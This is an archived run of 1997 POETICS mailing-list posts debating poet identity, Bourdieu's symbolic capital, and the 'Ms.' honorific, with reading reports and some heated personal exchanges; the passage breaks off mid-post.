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i want to try to consider the discussions of identity here under what pierre bourdieu has called symbolic capital, within the specific field of cultural production that is this list. nothing in what i write shd be misconstrued as a personal attack, hence i try to refer not to persons on the list but their words/posts and the symbolic capital (for convenience think "presumed worth" to the list, hence "list capital") they carry.

dodie bellamy wrote: <<And I am not here going to defend myself against charges of misogeny and staunchly maintaining the status quo of female suppression. My whole project has been working against this. I feel KTan's doing a similar thing to what I found particularly problematic in Kim Dawn's original posts--she's pressure one to stand up and defend one's LIBERALNESS. Liberalness is a bourgeois invention. Perhaps one cannot be radical and bourgeois at the same time. I think even Kim Dawn, at this point, is tired of the discussion of her eruption into this list. As a performance it would have been more palatable if she didn't begin it by attacking a list member who is a friend of mine.>>

the words i wish to focus in on here are "palatable" and "attacking." the first essentially -- metaphorically and literally -- has to do with taste. dodie b found kim's original posts, simply put, distasteful -- a reaction, an interpretation, indeed heightened by the fact that db perceived those posts as personally attacking her friend jay. as a performance, kim's posts were certainly open, on the immediate surface, to such an interpretation -- tho i'm sure this was not their intent.

but from there, it didn't take long for db's posts to do exactly the same thing to kd (a list member who is a friend of mine) that db perceived kd doing to jay, only at a much deeper level of what i will call rhetorical violence. kim's posts played, perhaps too roughly, with jay's sense of list decorum/tedium; db's posts didn't simply play with or question but dismissed outright the legitimacy of kim's position as a writing subject, and not just on the list but tout court: in essence, attempted to strip her writing of any and all list capital.

we have thus moved from mere palatability -- i don't like it -- to validity and judgment -- it is not valid writing, the position of this writing-subject is unacceptable, it/he/she has no value/worth. witness the judgment contained in daniel bouchard's post:

> *Kim Dawn's posts, on the other hand, were 1) pretty obnoxious, 2) pretty stupid, and 3) pretty obnoxious and pretty stupid. Am I undermining her "authority" or "femininity" by saying so?*

undermining authority, delegitimizing writing and a position-taking within a specific field of production, yes.

kali tal writes, helping my point: <<The above statements are matters of opinion, and quite loaded opinion at that. You say them as if they are self-evident, and create a situation in which you frame everyone who does not agree with you as also "stupid" (for not recognizing stupidity) and possibly "obnoxious.">>

or, attempting to effect a shift in list capital: kd's writing is stupid and youd be stupid to put your stock or recognition into it. kt continues:

<<The "undermining" I refer to is a result of tactics which seek to dismiss arguments or artworks based on the idea that certain people are not *worth* listening to for [insert_your_reason_here].>>

kt is describing what i'm calling list capital. dodie b's posts carry a lot of authority or symbolic capital on this list: she is known and respected personally and through her writings by many listmembers. kd does not and is not, we don't know her authorial intentions, all we have is her writing, which, if we buy into the field as it's being staked, has no worth. kt describes the dynamics of list capital when she writes:

<<Whatever an author's *intentions*, it is the words on the screen that readers see. Those who know Bellamy can add their deeper understanding to the interpretation of her words, but those who don't are forced to work with the texts at hand. This is, perhaps, another illustration that identity *matters*.>>

though, i wd argue, substitute kt's "identity" for list capital. and the relative shares of it possessed by db's and kd's posts.

bourdieu would argue further that the rules of the game in a field of production are such that those who posessess symbolic capital set the rules of the game, namely maintaining their domination of the field and their accumulation of symbolic capital; likewise those who don't have the capital are always trying to take a position in the field that will earn them recognition and capital and the overthrow of the dominants. i do not think this extent of bourdieu's model applies here: makes the people behind the posts too ruthlessly darwinistic, which i don't think is the case.

but the movement of list capital and position-takings in this electronic field of production always involves risks, as kt points out:

<<"Being read" is the risk that writers take and--one assumes--the goal for which they strive. *How* a reader reads is out of the author's control, though understanding how (different) readers read might provide one a certain amount of useful information. At least that's how I see/read it.>>

perhaps kd's initial posts consituted a high-risk position-taking in this list field. still, understanding how readers read and writers write here amounts, moreso, i believe, than any capital, to the most important rule of the game and the reason why we are all subscribed.

tom orange

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15. Layne Russell
Re: Killian at the Big Top
Tue 1 Jul 1997

Pritchett,Pat @Silverplume wrote:
>
> (NB - for any of you who are bored or annoyed with my reading reports from
> Naropa, I can only say - I'm beginning to feel the same way too! This will
> probably be the last...)

I am enjoying them! I, for one, hope you don't stop. Thanks....

Layne Russell

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16. Robert Archambeau
Re: identity and list capital (long)
Tue 1 Jul 1997

Tom Orange wrote:

> *we have thus moved from mere palatability -- i don't like it -- to validity and judgment -- it is not valid writing, the position of this writing-subject is unacceptable, it/he/she has no value/worth. witness the judgment contained in daniel bouchard's post:*
>
> *Kim Dawn's posts, on the other hand, were 1) pretty obnoxious, 2) pretty stupid, and 3) pretty obnoxious and pretty stupid. Am I undermining her "authority" or "femininity" by saying so?*
>
> *undermining authority, delegitimizing writing and a position-taking within a specific field of production, yes.*

Granted. (And thanks for sending me back to Bourdieu -- I haven't read him in years).

But are there not situations in which it is legitimate to undermine authority (or, to use Bourdieu's term, to deprive another of capital)? To move the frame of reference from Bourdieu to Habermas, one could say that a true public sphere depends on the ability of participants to attempt to legitimize and delegitimize.

Leaving aside the argument about Kim Dawn's first posts, I'm sure there are some positions and speech acts that Tom feels ought to lack discursive capital, and situations in which he would (in the language of classical liberalism) present counter-arguments and negative judgements against such positions or (in the Marxian sociological terms of Bourdieu) seek to delegitimate the capital of such positions.

So I'm left wondering, Tom: do you object to the whole system, or to a particular judgement made within the system? Maybe I lack imagination, but I find it hard to believe that you would argue against people on the list offering their judgements of the value of the capital of various posts, and in so doing modifying the value of that capital. Do you have an alternative vision in mind?

Hoarding my gold and deferring gratification in the primitive stages of capital accumulation,

Robert Archambeau
Discursive Capitalist
(top hat and monocle in place)

a web site for anyone who wants to practice their capitalism:

http://www.monopoly.com/

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17. David R. Israel
Blakebahn
Tue 1 Jul 1997

Poetas, f.y.i. --

(someone lately brought this to my attn)

The William Blake Page is at:
http://www.aa.net/~urizen/blake2.html
(last updated November 3, 1996)
created by a chap named Richard Record

it includes:

* The Songs of Experience (Text and Color Plates complete!) (NEW) * The Songs of Innocence (Text and Color Plates complete!) * The Marriage of Heaven and Hell (Text and Color Plates) * Other paintings by Blake. * Other Web Pages concerning William Blake:

Still in development

The Book of Urizen.
An analysis of three of his principal works:
The Marriage of Heaven and Hell
Milton
Jerusalem
Illustrations of The Book of Job

/ / / /

kvestchun:
~if WBlake were alive & kickin', would he be a website designer?

d.i.

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 .
 .....
 ............
 \\\\
```

| (Tagore)
/////////////////////////////////////\\\\\/////

↑ Index

18. Rebecca Reynolds
Re: question
Tue 1 Jul 1997

> If it's easier to alienate a possible audience
> than win over a real one,
> who are the exploratory writers,
> & who the conventional?
>
> I submit all my own work
> to a certain standard:
> would I be able to read this
> at a Thanskgiving dinner?
>
> & the measure of value remains:
>
> ARS EST CELARE ARTEM
> (art is to hide art).
>
> - Henry Gould
>

That (or those) are great questions--though I don't know how seriously to take you here. Art is to hide art? But it never does, does it?
Maybe in my post about an epithalamium--trying to make it "reader-friendly"--I implied that I didn't think poems ought necessarily to be
"reader friendly," though I don't myself buy into that. It is simply that there are different kinds of friendliness(es) and different kinds of readers.

I confess that in my post I revealed my own distrust of readers--and I think that comes from having been in a writing workshop. The only word I can think of here is "oy" (my mother's word) but there are others. And back to the question about audiences: I used to worry that the poems I wrote were too layered and subjective, and I remember on the first day of a workshop with Alice Fulton, she asked us what we thought our weaknesses were as poets, or what we wanted to work on, and I said I wanted my poems to be simpler, and she said, "why would you want that?" (I was even more naive then than I am now, of course.) So I

stopped trying to write poems that everyone could swallow really easily (the kind sometimes favored by workshop participants), a kind which I could never write in the first place. Also, I'd been reading a lot of theory and poems started reflecting that in ways that not all workshop participants could see --also, I got interested in writing from a position (subjectivity) that was not "universal" (or pre-determined/defined), in part a reaction to the inherent pressures of a writing workshop, and the writing workshop, as I saw it, reflected a mainstream CW push towards conventionality, which was not always a reflection of the poets teaching the workshops, but of the students concurring en masse within them and commenting on each other's work. I found the most interesting poems were poems that made the group the most fractious. But I hate talking so generally, and I don't want to raise the spectre of workshops again. I guess I am trying to say (to be more discreet and refined about this) that Thanksgiving isn't my favorite holiday. First of all, it's all relative(s).

DW Winnicott said something to the effect that for an artist, the only urge stronger than the wish to communicate is the wish not to be found. Now this is very relevant to me and my life, as a poet etc., and something I've been thinking about in terms of the "identity" posts, which point to some wish to"find" the author, on the part of the reader, and an extension of that, to "fix" the author in terms of his or her "identity." (Q: Does the author need to be fixed?) Is identity a supplement? in that double sense of adding meaning and/or/also, being simply additional (an excess).

rr

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19. Rebecca Reynolds
Re: american language
Tue 1 Jul 1997

> *YEAH!!! i am not the only one with chartreuse paranoia!!! i remember it having some connection to soem french liquor which is a bright bright green, but i hear it in connection with fuschia-ish raspberryish pink as well... so what is the deal here? are we talking color blind emperor without clothes?*
> *e*

Two responses today--I'm really quite shocked at myself. Anyway, I too thought chartreuse was pinkish until a friend of mine in grad school bought a vile green VW camper van, and another friend referred to it as "chartreuse." I knew she was correct because she was on a full fellowship.

But here I'm thinking, there must be a link--is it the word "fuschia" which shares sounds with "chartreuse?" Or is it a spectral pinkishness? Nabokov

talks about associating letters of the alphabet with colors & sensations when he was a child; there must be a cerebral path between sounds and color, sound-waves and frequencies of light? (No, it's more likely to be socially constructed.)

And the irony is, I left graduate school because I didn't think I thought right for it. But it wasn't merely the chartreuse . . .

rr

rr

rr

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20. Aldon L. Nielsen
Re: misattributions in the poet/identity debate
Tue 1 Jul 1997

This forwarded to me from Danny Santiago, who gives me permission to post it here (as he has been the subject of several recent posts), but who says he's much too busy with important literary matters to subscribe and post himself -- What a generous and truly selfless guy he is!

> *Aldon:*
> *I can't believe what poor readers your poetry friends are. If they will simply take the time to examine their own archival conscience, they will recognize that all the quotes attributed to me in the recent list dustup over Ornamentalism were in fact posted by David Bromige.*
>
> *Invariably yours,*
> *himself*

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21. shemurph
Re: STEVE CARLL
Tue 1 Jul 1997

I, also, need Steve Carll's address. Please backchannel.

Thanks.

Sheila Murphy
[redacted]

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22. **dbkk**
Re: identity and list capital (long)
Tue 1 Jul 1997

At 3:29 AM -0400 7/1/97, Tom Orange wrote:
>but from there, it didn't take long for db's posts to do exactly the same
>thing to kd (a list member who is a friend of mine) that db perceived kd
>doing to jay, only at a much deeper level of what i will call rhetorical
>violence. kim's posts played, perhaps too roughly, with jay's sense of
>list decorum/tedium; db's posts didn't simply play with or question but
>dismissed outright the legitimacy of kim's position as a writing subject,
>and not just on the list but tout court: in essence, attempted to strip
>her writing of any and all list capital.
>
>we have thus moved from mere palatability -- i don't like it -- to
>validity and judgment -- it is not valid writing, the position of this
>writing-subject is unacceptable, it/he/she has no value/worth. witness
>the judgment contained in daniel bouchard's post:

First of all Tom, I never said anything like Kim D was worthless, my launching into her writing was a response to comparing her performance on this public forum to the novels of Kathy Acker--I was stating that this space (the p-list) with a captured audience has a totally different dynamic/literary expectations than the space of a novel, which is a come-as-you-wish space, a rarified space where various agreements are made. I still stand by my opinion that writing sexually explicit material to be TABOO is not necessarily literature--in fact, that intent, is what I think undermines most attempts at creating quality writing dealing with sexuality. Look at _Fear of Flying_, for example, Jong's character's incessant concerns with others watching her to the point one wonders if she's experiencing *anything* within the experiences herself.

I appreciate your concern and support of your friend, and I also appreciate your restrained tone. I think much of my frustration with KDawn's initial emergence on the list stems from my larger frustrations with heterosexuality, its claustrophobic conservativeness regarding sexuality. I don't know if you are familiar with my work, but my entire project has been dealing with female sexuality in a squirm-in-your seats manner. When I started doing this I was a bit older than Kim, but I received no support whatsoever from women, scorn from some--and this was the early 80s before Feminism was totally dead. All the support I got to develop my interest in female sexuality (and I have a primary interest in psychoanalytic stuff, i.e., the primal) came from gay men, and I'm probably lucky in that for in the gay community there is a vocabulary for dealing with sexuality and an acceptance of it--or shall I use a theory buzz word and say a "privileging" of it.

And even though you folks fanticize all this authority and power, to this day when I read, such as at Naropa recently, while there are people (most of them in their 20s) who *really* get into it, there are many others (especially from my own generation) who walk away stiffly and refuse to look me in the eye. I don't think this thing is ever going to get easy for me.

I also would imagine that had Kim Dawn done her performance on the Queer Studies list (a space where sexuality/theory/literature is regularly discussed) that it would not have gone down without question. Some of the members, I'm sure, would have jumped on her like pirannahs (I guess I should have picked an image I could spell) for her VIOLENCE. But here on the p-list, I'm the one who is accused of violence. Fortuntely, I always enjoy it when academics use that word, "violence," it's like this sniper tactic that puts the opponent to shame. One always imagines hands thrown to forehead to ward off the offensive psychological blow (I'm stealing this gesture from Terry Castle's _The Apparitional Lesbian_). Avital Ronell is the queen of using the word violence--I get thrilled everytime she says it. Too bad she moved to the East Coast.

I think that rehashing Kim Dawn's performances are like beating a dead horse (no offense Kim, no one here, I'm sure, thinks you're anything like a dead horse). Her position on the list, I feel, has been accepted, and the shock value of her posts has dissipated, I doubt if she ruffles any tail feathers (I'm into this animal motif) today. I won't go over your thoughtful post point by point because there's NO POINT to my doing that--I just want to add, though, that some of the stuff your calling me on is K-Tal's interpretation of my posts, not my posts themselves.

For me, *the* question here is why K-Tal continues to attack *the* person/WOMAN (me) on the list whose whole writing project supports and illustrates everything she's talking about. A quick look up my name on AltaVista will offer many hits, so anybody could find out tons about my project without moving their butt. I hope research she does for her academic books is more careful than what has been exhibited here.

Dodie

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23. Mark Weiss
Re: Poems/Identities
Tue 1 Jul 1997

You don't get it, Bowering. Ms, as opposed to Miss, implies that the lady may not be a virgin.

At 12:12 AM 7/1/97 -0700, you wrote:
>Dr. Tal--
>
>Now, this is interesting. I guess we live in really different countries, or
>worlds or something.
>You said:
>
>>I experienced your decision to label me "Ms." in your previous post as both
>>distancing and patronizing.
>
>Now, why would that be? As far as I recall, I was not doing any labelling.
>I was not labelling, but addressing, in a fashion that, in my country,
>shows respect for an often-stated desire by women (I hope that word is
>okay; it is a good word up here) not to be a "Mr' with an "s" added, and
>not to be "Miss." It is definitely not patronizing, but quite the opposite
>here. On the other hand, as I said earlier, to use "Dr." is usually meant
>to be distancing, and often sarcastic. But as you don't use it that way
>there, I feel that it is all right (though it still makes me uncomfortable)
>to address you that way.
>
>
>>("Ms." is used snidely as often as it is used respectfully)
>
>Again, I am not familiar with that usage. Perhaps it is a regional thing.
>
>> Two rules of civility I try always to observe: don't
>>call people outta their names; don't insult their parents.
>
>This sounds interesting. I dont understand the expression. Well, I live on
>the west coast of Canada, and you live somewhere in the US. I feel as if I
>_sort of_ get it, but would really like to get it right.
>
>
>>
>>The "Ivy League" presumption is, in fact, hilarious.
>
>I didnt mean to be presuming. I thought I was just asking. I cant figure
>out what I did to get called names so much.
>
>
>
>

>
>
>
>
>George Bowering.
> ,
>2499 West 37th Ave.,
>Vancouver, B.C.,
>Canada V6M 1P4
>
>fax: [redacted]
>e-mail: [redacted]
>
>

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24. George Thompson
Re: identity and list capital (long)
Tue 1 Jul 1997

Tom Orange's attempt to apply Pierre Bourdieu's notion of symbolic capital to this thread [and to the list in general] is an interesting new development. But I don't think that his effort to sort out the issues quite succeeds, because in spite of his efforts to be detached and objective, he has still simply sided with his friend.

For me, knowing absolutely no one personally on this list, it is hard to justify the claim that Dodie Bellamy is operating "at a much deeper level of what i will call rhetorical violence" than, say, Kim Dawn. What kind of "list capital" was left for Jay Schwartz after Kim Dawn's "performance"?

As far as I can see, rhetorical violence was used by both sides, in this battle for symbolic capital. The question that interests me is to what extent Bourdieu's terms can help us to clarify the issues that Tom Orange has raised.

It is interesting to look at this list [or any list] as a "field of cultural production", with its own "rules of the game", and to observe in this light the struggle of its members for recognition and domination and authority [symbolic capital]. It is also puzzling that Tom backs away from such a model of the list's activities, because it is "too ruthlessly darwinistic." Why bring it in and then throw it away?

How is authority established, accd to Bourdieu? Well, one thing that he stresses is the role of relevant institutions in the assertion and maintenance of power. Now if Dodie Bellamy had said [or implied] something like "as a professor of English at some Ivy league school, I now declare you [Kim Dawn] unpalatable

and aggressive..." [etc.], that performance would have gotten its symbolic capital from her institutional authority. But clearly she did not say or imply any such thing, nor does she have, as she has said, any such institutional authority.

In my view, that is one of the important and valuable things about this medium: the imposition of institutional power is very difficult, if not impossible [let's hope that we can preserve this sort of freedom for this and any other list]. As far as I can see, the only person who has real power in this sense is the list owner, who, like some deus otiosus, has not shown any signs of using it.

Another important idea from Bourdieu is the notion that the performative utterance is magical. This seems to me to come close to what Tom was getting at in analyzing Dodie Bellamy's language. Acts of self-assertion, of naming or labelling [e.g., "you're obnoxious"], of investiture, etc. etc., are *directly* effective: the mere saying so makes it so. In Bourdieu's sense [and in mine] that is magic [a very social magic, as Bourdieu stresses].

I think that Tom is right to suggest that Dodie Bellamy has used this sort of magic on this list [if that is what he is suggesting]. But surely that is what *everyone* involved has done [and mostly quite well, I might add]. And though this sort of magic is in no way confined to poetry, certainly you find it there all the time [though not always, to be sure]....

Sorry for the length of this. Hope it's of use.
George Thompson

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25. **hg**
Re: Poems/Identities
Tue 1 Jul 1997

This snapping back & forth is getting really low. David Bromige, I'm sorry if I misrepresented your posts. I haven't gone back the archives to check. My point was that "ad hominem" attacks & insinuations are out of line. When we write to this discussion, we open ourselves up to criticism, that's part of the game. But we all know when an attack gets "personal". Suddenly we're no longer talking semi-peacefully. We're having a feud. I guess that's fun for some people to watch, unfortunately. Get lost, flame-voyeurs & bitchy gossip-heads. - Henry Gould

↑ Index

26. David Bromige
american language/clerihew (deformed?)
Tue 1 Jul 1997

johnson's
still on!
we thought kent
had went.

db

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27. David Bromige
poetic/identity/"I personally do not remember torturing prisoners"/ hengry g's inability to fess up
Tue 1 Jul 1997

Henry, what is this fascination with things nazi? I must say it parallels yr ability to re write history, perfectly. Yes, I see, you are counting on listlings not being able to remember a sequence of events, which inability gives you carte blanche to re arrange the facts to serve some purpose of yr own. It makes all the difference in the world whether the masturbatory imagery began with me or began with Kali Tal. Once the cat is out of the bag & directed towards oneself, it is not uncivil to yell "Get yr fucken cat outa my face!" For those of you on a POETICS list, I assume careful reading is the first order of attention. Henry, why cant you come right out & admit it : you attrributed the _origin_ of the masturbatory metaphor to me, whereas in truth it issued from Kali Tal.

And why dont you apologize to the members of this List for stating that their memories are no better than yours? db

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28. Kali Tal
Re: Poems/Identities
Tue 1 Jul 1997

> *("Ms." is used snidely as often as it is used respectfully)*
>
> *Again, I am not familiar with that usage. Perhaps it is a regional thing.*

Guys are automatically "Mr." (when they aren't Dr. or Rev. or Col. or whatever). *Women* are "Mrs.", "Miss," or "Ms." I've seen very few forms on which "Mr." or "Ms." is the only alternative. Often it's a choice, for women, between "Ms." and "Mrs." (which defeats the purpose of "Ms.", which was to create an honorific that--like "Mr."--is not dependent upon the matrimonial state of the female

in question). And frequently, as a female, you have a choice between all three feminine honorifics. What this usually means is you're either married, not married, or (in the minds of many men *and* women) pissed off. Whether you intend it or not, calling a woman "Ms." has the effect of declaring her a certain *kind* of woman--the *kind* of woman who wants to be called "Ms." Now, definition of that "kind" varies, but, as I said, it's as often snide as it is respectful. In this era of vicious antifeminist backlash (and what era hasn't been that era?) the term is quite loaded. Perhaps it is not on the West Coast of Canada, but, overall, I think it's safer to address women as they sign themselves (which, in my case, is always "Kali"), or with gender nonspecific honorifics ("Dr."), or, if one is uncomfortable with that, by last name only ("Tal"), or by full name.

> *Two rules of civility I try always to observe: don't call people outta their names; don't insult their parents.*
>
> *This sounds interesting. I dont understand the expression. Well, I live on the west coast of Canada, and you live somewhere in the US. I feel as if I _sort of_ get it, but would really like to get it right.*

"Don't call me out of my name" is an African-American expression, but it has a meaning that crosses quite a few cultures. Many people regard names as powerful, and *naming* as a great power. (I'm not talking about being superstitious or mystical about this, I'm talking about a person's sense of identity within a particular cultural context.) The sensitivity about names is particularly apparent in groups whose names have been imposed upon them from outside. African-Americans were named by their masters in the antebellum period, and after the Civil War the first two things almost all of them did when they were freed were to 1) go in search of their families; and 2) change their names. Women in Western cultures traditionally are given the patronym at birth, and then *that* is taken away and replaced with the husband's name at marriage. Since well before Lucy Stone, American women have been sensitive to the implications of such horse-trading gestures. "Calling someone out of their name" is, quite literally, claiming the power to make someone be what they are not. Those are fighting words in many communities, just like insults that begin with, "Yo mama" are fighting words. One engages in such behavior only if one *expects* to find oneself in a signifyin' contest or a rough game of the dozens.

> *I didnt mean to be presuming. I thought I was just asking. I cant figure out what I did to get called names so much.*

I don't *think* I've called you *any* names. I've commented on texts and rhetorical strategies, but I don't know you well enough (at all) to call *you* anything.

Kali

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29. Charles Alexander

Re: identity/poetics

Tue 1 Jul 1997

At 05:29 PM 7/1/97 -0700, you wrote:
>It has recently been determined that all posts to the POETICS list from
>San Jose State university are in reality being sent from a location in
>Boulder, Colorado, a town often visited by David Bromige. It has also
>been confirmed that David Bromige and Kali Tal have never been seen in the
>saem place at the same time. Draw your own conclusions and post
>yourselves accordingly.

perhaps, but in May 1997 David & Kali were both in Tucson, Arizona, and David offered a discussion session and a reading for a poetry/poetics organization of which Kali is a member. Like Tenney Nathanson, I too testify that both of these are people I am glad to know. Their comments, on this list and in person, have been valuable to me.

Whether San Jose has relocated to Boulder I can not say, but people die every day from lack of what can be found there.

and I am charles, not
all done
nil sun

chax press :: alexander writing/design/publishing books by artists' hands :: web sites built with care and vision handmade and trade editions of contemporary innovative writing [redacted] :: http://personal.riverusers.com/~chax/

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30. Henry Gould

Re: poetic/identity/"I personally do not remember torturing prisoners"/hengry g's inability to fess up

Tue 1 Jul 1997

> *assume careful reading is the first order of attention. Henry, why cant you come right out & admit it : you attrributed the _origin_ of the masturbatory metaphor to me, whereas in truth it issued from Kali Tal.*
>
> *And why dont you apologize to the members of this List for stating that their memories are no better than yours? db*

You may be right. I think our last messages crossed. Maybe some diligent person can go dig out the exact quotes. Here's how I remembered it: Kali Tal compared - in the abstract - a sort of reader-oriented criticism with male

masturbation fantasies. I remember being surprised at your reply, which seemed to "personalize" it - i.e., you said maybe Kali should look into her OWN responses, etc. The context in which I stated this was in questioning Kali - I thought she was defending Kim Dawn's public pornography attack on Jay and slamming your public "innuendo" attack in which case she was defending/slamming the same thing by different people.

Anybody still awake out there? As I say, David, if I've got it wrong, my apologies. If Kali started with the "personal", then you've got a point. I am sure we will get down to the fine print & bore evryone to tears. Meanwhile, you are all great guys & gals out there, peace & love. - Henry Gould

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31. Tom Mandel
his penthouse is for rent
Tue 1 Jul 1997

David Israel, I think, adds:

"on the other side of the ledger, there's the Chinese-painting reference (don't recall exact wording) -- being "like legs on a snake" (i.e., where you've painted a snake but then feel you've gotta embelish it & add more . . .)"

There's a great saying in French, "ca me fera un bel jambe" ("that's gonna make me a great leg"), for something useless received (or heard).

On the same subject, I now realize that it was my friend David Bromige I nastied in my most recent attack on reading poetry to figure yourself out. That'll make him a great leg. I wish I'd restrained myself, especially since I didn't explain myself very clearly.

There is no life without identity, that's obvious (see my post to this list on 5/17/97). But, being introduced is only the beginning of the relationship.

How, for example, would it be possible for David and Kali Tal to back out of a brouhaha that *must* be based on mutual misunderstandings which develop out of writing in different times/places and having this keyhole-sized medium through which to perceive each other? Esp. since you have to back out the same keyhole?

Anyway, I stick absolutely and without compromise -- unless someone should disagree, that is (in which case I'm going to be forced to repeat my position with additive decorations) -- to my statement that a poem is a social contract between writer and reader. Whoever you are.

Tom

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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32. Jay Schwartz
Re: Killian at the Big Top
Tue 1 Jul 1997

Yes, please continue Naropa posts. I love the vicarious readings...

Jay Schwartz

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33. Michael Magee
Re: identity/poetics
Tue 1 Jul 1997

Thinking about Henry's recent post which ended with the stipulations that "& there are very few poets with an idiom that energizes and unites" in our present moment, and not getting into the off-shoot argument re: sexuality/ masturbation/whatever which I wasn't following, and partially getting into the idea that an interest in "bio-sexuality" could be the result of a kind of nostalgic desire for unity (have I got that right?). So, anyway, my thought: I'm not sure the desire for unity is a very healthy desire; which is to say, I don't think I want a poet "with an idiom that unites," at least in any traditional sense, though energizing might be nice. Harryette Mullen says in a couple interviews I recently read that, in *Muse & Drudge* she was trying to allow the poem to function on enough levels that everybody/anybody might find something of significance in it, or might find many things of momentary significance predicated on when, where and with whom they read it. But anyone who's read M & D (Mullen's not Pynchon's, and, as an aside, I prefer the former) would, it seems to me, be reluctant to throw a word like unity around in describing it. So, if anything, perhaps its non-unifying means towards semi-unifying ends, a kind of tactic you might likewise find variously in Nate Mackey's novels or, to some degree, Paul Beatty's poems. But all of them, I'm guessing, would say that the dream of speaking to/for/with/about everyone is a bunch of malarky (there's no was that's spelled right) - what's more, it seems the more one indulges that dream the less chance one has of speaking to anyone beyond one's own tiny group-thinking

enclave. Essentializing selves - selves which speak alot about unity - get pretty boring, pretty fast, in my(s) experience(s)..I'm reading Henry's comments as in a similar vein, though perhaps with a more cyclical view of history, a sense that the youngsters are more inclined than usual to live w/ disunity b/c we're part of the latest Fin de Whatever - which is to say folks like us come around every hundred years or so. But, far as I can tell Unity w/ a capital U is not a term poised for a comeback, and none of my fellow youner poets - correct me if I'm wrong here guys - are hustling to shore fragaments against their ruins.

Shantih, Santa, Spumante,

-Mike.

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34. **Pritchett,Pat**
Re: Killian at the Big Top
Tue 1 Jul 1997

Thanks Jay - and others who have backchanneled re: my off the cuff Naropa reading reports. I plan to attend at least two more readings before the Summer Program is over - Lorenzo Thomas's this week and Lisa Jarnot & Kristen Prevallet's next week. Also hope to see T. Begley, whose work with Olga Broumas I very much admire (unfortunately, Olga could not make it to Boulder I've been told). These readings have been great and I feel very lucky to be here - but they do raise the troubling question: Is it possible to have too much poetry?

Too much is not enough,
Patrick Pritchett

From: Jay Schwartz
To: POETICS
Subject: Re: Killian at the Big Top
Date: Tuesday, July 01, 1997 1:40PM

Yes, please continue Naropa posts. I love the vicarious readings...

Jay Schwartz

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35. **Mark Weiss**
Re: Poems/Identities
Tue 1 Jul 1997

I'm from New York, I've lived all over the country, and I've never used Ms. except when I don't know what else to use. More often than not it's what I use in

letters when I'm depending on the good will of the recipient, as in asking for a job, a blurb, etc, and the recipient has not made public her marital status. Anything, including mister ("who do you think you are, mister?"), can be used to call out.

At 11:45 AM 7/1/97 MDT, you wrote:
>>>("Ms." is used snidely as often as it is used respectfully)
>>
>>Again, I am not familiar with that usage. Perhaps it is a regional thing.
>
>Guys are automatically "Mr." (when they aren't Dr. or Rev. or Col. or whatever).
>*Women* are "Mrs.", "Miss," or "Ms." I've seen very few forms on which
>"Mr." or "Ms." is the only alternative. Often it's a choice, for women,
>between "Ms." and "Mrs." (which defeats the purpose of "Ms.", which was to
>create an honorific that--like "Mr."--is not dependent upon the matrimonial
>state of the female in question). And frequently, as a female, you have a
>choice between all three feminine honorifics. What this usually means is
>you're either married, not married, or (in the minds of many men *and*
>women) pissed off. Whether you intend it or not, calling a woman "Ms." has
>the effect of declaring her a certain *kind* of woman--the *kind* of woman
>who wants to be called "Ms." Now, definition of that "kind" varies, but, as
>I said, it's as often snide as it is respectful. In this era of vicious
>antifeminist backlash (and what era hasn't been that era?) the term is quite
>loaded. Perhaps it is not on the West Coast of Canada, but, overall, I think
>it's safer to address women as they sign themselves (which, in my case, is
>always "Kali"), or with gender nonspecific honorifics ("Dr."), or, if one is
>uncomfortable with that, by last name only ("Tal"), or by full name.
.>

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36. Eliza McGrand- CVA Guest

Re: Poems/Identities

Tue 1 Jul 1997

BRAVO HENRY!

only thing is, when you get flamed, you are faced with the big choice: 1) do i refuse to add capital to the flames piling up and let stinker with the flame thrower think they burned me; 2) do i burn their flamethrower to melted glop and sear everyone unfortunate enough to be standing around.

ideally, of course, one would be way cool, and dump water on whole thing, real real COLD water, no? e i'm feeling, like, way into the COOL thing because it is

very hot and i am wearing grown-up-lady nicey-nice clothes this afternoon, but discovered, too late, a stain on the sleeve.

this is an example of the identity of the writer undergoing modification by the identity of the writer as she constructs an identity that reconstructs itself, endlessly acquiring imaginary capital

or not, as the case may be...
e

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37. Eliza McGrand- CVA Guest

Re: Poems/Identities

Tue 1 Jul 1997

---

ditto me -- ms. is used to be respectful. one says ms. to NOT colonize woman based on marital status. one says ms. to imply you are interested in, and speaking to, the woman, not her patriarchal positioning.

i say ms. to other women older than me to include them in the girl's club, to be most honorific and formal thus showing them i respect them, while doing it in a way that is modern and feminist.

how would anyone know kali was a dr. -- it isn't in her posts, though her yale address figures prominently? and given the harangues engaged in against academia, wouldn't one try and take her at her word and eschew academic posts, though one could take her at her word and bow to the frequent mention of "classes she teaches" except, what if one took her at her word and went with the constant harangues about oppressed working class and her unity with them, only then again, one really probably ought to take her at her word and go on the I-The-Authority -Figure-Say-To-You (crummylittlewhitestudentthatyouare)-that-YOU-can-not-know ANYTHING-about-My-Area (academic, my academic, academic, i am an academic expert)-area-of-expertise-i.e.-african-americans-working-class-women... only, really, perhaps one ought to take her at her word and go by the i wear funky clothes and am a regular gal tone... except, no, no, i am going to go back and take her at the word of "you have misread me" only, well, given how she misreads me and other people maybe it is meant in that sort of peer- to-peer congratulatory tone... no, well, um

ummm

what word DOES one take kali tal at? whenever one tries, one gets haranged for not taking her at a different one?! could it be

no one wins but kali

games?
blech
e

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38. David Israel
"*Ms*"
Tue 1 Jul 1997

[was: Subject: Re: Poems/Identities }

Just to add a note of comparative data to the Ms thread:

I worked for many years as a secretary in law firms in San Francisco, New York, Washington, DC. In such environments -- (and I think, likely, more broadly in much business correspondence in the U.S.) -- Ms. has long been is a standard (indeed, the requisite) form of salutation for all women. In these environments, "Mrs." or "Miss" are, generally speaking, no longer in use -- they are considered outdated.

Not suggesting this is found (or should be found) everywhere -- just noting that, interestingly, it's what I've observed in the noted context.

In any case, I accept David B.'s suggestion that he had no hostile intent in using that form of salutation; -- & I'm sure he (and anyone else here) will be happy enough to address Kali Tal as she might best prefer.

d.i. (the black kids in my high school called me "professor" but I never became one . .)

Mark Weiss wrote:

<< I'm from New York, I've lived all over the country, and I've never used Ms. except when I don't know what else to use. More often than not it's what I use in letters when I'm depending on the good will of the recipient, as in asking for a job, a blurb, etc, and the recipient has not made public her marital status. Anything, including mister ("who do you think you are, mister?"), can be used to call out. >>

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39. henry g
Re: identity/poetics
Tue 1 Jul 1997

I didn't mean to sound so completely nostalgic about "unity"... I said for our country the divisions, the dis-unity, have been a learning process. There's no way to plan intellectually what motivates your writing, it just runs too deep, I

